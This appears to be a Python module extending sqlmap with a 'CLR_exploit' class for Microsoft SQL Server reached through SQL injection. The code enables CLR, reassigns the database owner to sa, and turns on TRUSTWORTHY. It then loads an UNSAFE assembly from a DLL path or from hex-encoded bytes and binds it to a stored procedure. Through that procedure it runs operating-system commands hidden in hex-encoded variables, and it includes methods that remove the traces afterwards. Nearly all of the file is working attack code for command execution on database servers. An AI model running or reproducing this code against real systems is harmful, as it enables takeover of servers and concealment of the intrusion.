#!/usr/bin/env python

from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import flattenValue
from lib.core.common import getLimitRange
from lib.core.common import getSQLSnippet
from lib.core.common import hashDBWrite
from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import wasLastResponseDelayed
from lib.core.compat import xrange
from lib.core.convert import encodeHex
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import PAYLOAD
import binascii
import time
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.threads import getCurrentThreadData
from lib.request import inject

class   CLR_exploit(object):
    def __init__(self):
        self.assembly_name="CLR_module"
        self.clr_payload = "C:\\windows\\tasks\\clrdatabase.dll"

    def enable_clr(self):
        debugMsg = "configuring clr_enable using sp_configure "
        debugMsg += "stored procedure"
        logger.debug(debugMsg)
        cmd = getSQLSnippet(DBMS.MSSQL, "enable_clr", ENABLE=str(1))
        inject.goStacked(agent.runAsDBMSUser(cmd))

    def disable_clr(self):
        debugMsg = "configuring clr_disable using sp_configure "
        debugMsg += "stored procedure"
        logger.debug(debugMsg)
        cmd = getSQLSnippet(DBMS.MSSQL, "enable_clr", ENABLE=str(0))
        inject.goStacked(agent.runAsDBMSUser(cmd))

    def change_sa(self,currentDb):
        cmd = "ALTER AUTHORIZATION ON DATABASE::%s TO sa;" % (currentDb)
        inject.goStacked(agent.runAsDBMSUser(cmd))
        return True

    def enable_ole(self):
        cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
        inject.goStacked(agent.runAsDBMSUser(cmd))

    def set_permission(self,currentDb):
        cmd = "ALTER DATABASE %s SET TRUSTWORTHY ON;" %(currentDb)
        inject.goStacked(agent.runAsDBMSUser(cmd))
        return True

    def create_assembly1(self,dll_name,udf_assembly_name):
        command = '''CREATE ASSEMBLY [{CLR_module}] AUTHORIZATION [dbo] FROM '{payload}' WITH PERMISSION_SET = UNSAFE;'''.format(
            payload=dll_name,CLR_module=udf_assembly_name)
        logger.info("Import the assembly")
        inject.goStacked(agent.runAsDBMSUser(command))
        logger.info("Assembly execute done.")
        return True

    def create_assembly2(self,dll_name,udf_assembly_name):
        clr_data = open(dll_name, 'rb').read()
        clr_payload = "{}".format(binascii.hexlify(clr_data).decode())
        command = '''CREATE ASSEMBLY [{CLR_module}] AUTHORIZATION [dbo] FROM 0x{payload} WITH PERMISSION_SET = UNSAFE;'''.format(
            payload=clr_payload,CLR_module=udf_assembly_name)
        logger.info("Import the assembly")
        inject.goStacked(agent.runAsDBMSUser(command))
        logger.info("Assembly execute done.")
        return True

    def create_procedure(self,udf_assembly_name,procedure_class_name,procedure_function_name):
        command = "DECLARE @zzcgss nvarchar(999);set @zzcgss='CREATE PROCEDURE [dbo].[{ClrExec}] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [{CLR_module}].[{StoredProcedures}].[{ClrExec}]';EXEC sp_executesql @zzcgss;".format(
            CLR_module=udf_assembly_name,StoredProcedures=procedure_class_name,ClrExec=procedure_function_name)
        inject.goStacked(agent.runAsDBMSUser(command))
        logger.info("Link the assembly to a stored procedure")

        return True

    def check_procedure(self,function_name):
        hexTbl = "%s%shex" % (self.fileTblName, randomStr())
        query = "select count(*) from dbo.sysobjects where name = '%s'" % (function_name)
        output = None
        count = 0
        if any(isTechniqueAvailable(_) for _ in
               (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            output = inject.getValue(query, resumeValue=False, blind=False, time=False)

        if (output is None) or len(output) == 0 or output[0] is None:
            output = []
            count = inject.getValue( "select count(*) from dbo.sysobjects where name = '%s'" % (function_name), resumeValue=False, expected=EXPECTED.INT,
                                    charsetType=CHARSET_TYPE.DIGITS)

        inject.goStacked("DELETE FROM %s" % hexTbl)
        inject.goStacked("DROP TABLE %s" % hexTbl)

        if output == '1' or str(count) == '1':
            print('Custom stored procedures exist in the database')
            print("自定义存储过程存在数据库中")
        else:
            print('The custom stored procedure does not exist in the database')
            print("自定义存储过程不存在数据库中")

        return

    def del_clr(self,procedure_name,assembly_name):

        inject.goStacked("DROP PROCEDURE %s;" % procedure_name)
        inject.goStacked("DROP ASSEMBLY %s;" % assembly_name)
        print("drop procedure and assembly may be success")
        print("【提示】正在尝试删除 %s 痕迹，可以使用--check-clr判断是否删除成功 \n" % procedure_name)

    def clrShellForgeCmd(self,function, cmd, insertIntoTable=None):
        # When user provides DBMS credentials (with --dbms-cred) we need to
        # redirect the command standard output to a temporary file in order
        # to retrieve it afterwards
        # NOTE: this does not need to be done when the command is 'del' to
        # delete the temporary file
        if conf.dbmsCred and insertIntoTable:
            self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
            cmd = "%s > \"%s\"" % (cmd, self.tmpFile)

        self._randStr = randomStr(lowercase=True)
        self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr

        try:
            self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" % encodeHex(cmd, binary=False))
        except UnicodeError:
            self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd)

        # Insert the command standard output into a support table,
        # 'sqlmapoutput', except when DBMS credentials are provided because
        # it does not work unfortunately, BULK INSERT needs to be used to
        # retrieve the output when OPENROWSET is used hence the redirection
        # to a temporary file from above
        # if insertIntoTable and not conf.dbmsCred:
        #     self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable

        self._forgedCmd += "EXEC %s @%s" % (function, self._randStr)

        return agent.runAsDBMSUser(self._forgedCmd)

    def clrShellExecCmd(self,function, cmd, silent=False):
        return inject.goStacked(self.clrShellForgeCmd(function,cmd), silent)

    def clrShellEvalCmd(self, function,cmd, first=None, last=None):
        output = None

        if conf.direct:
            output = self.clrShellExecCmd(function,cmd)

            if output and isinstance(output, (list, tuple)):
                new_output = ""

                for line in output:
                    if line == "NULL":
                        new_output += "\n"
                    else:
                        new_output += "%s\n" % line.strip("\r")

                output = new_output
        else:
            inject.goStacked(self.clrShellForgeCmd(function,cmd))


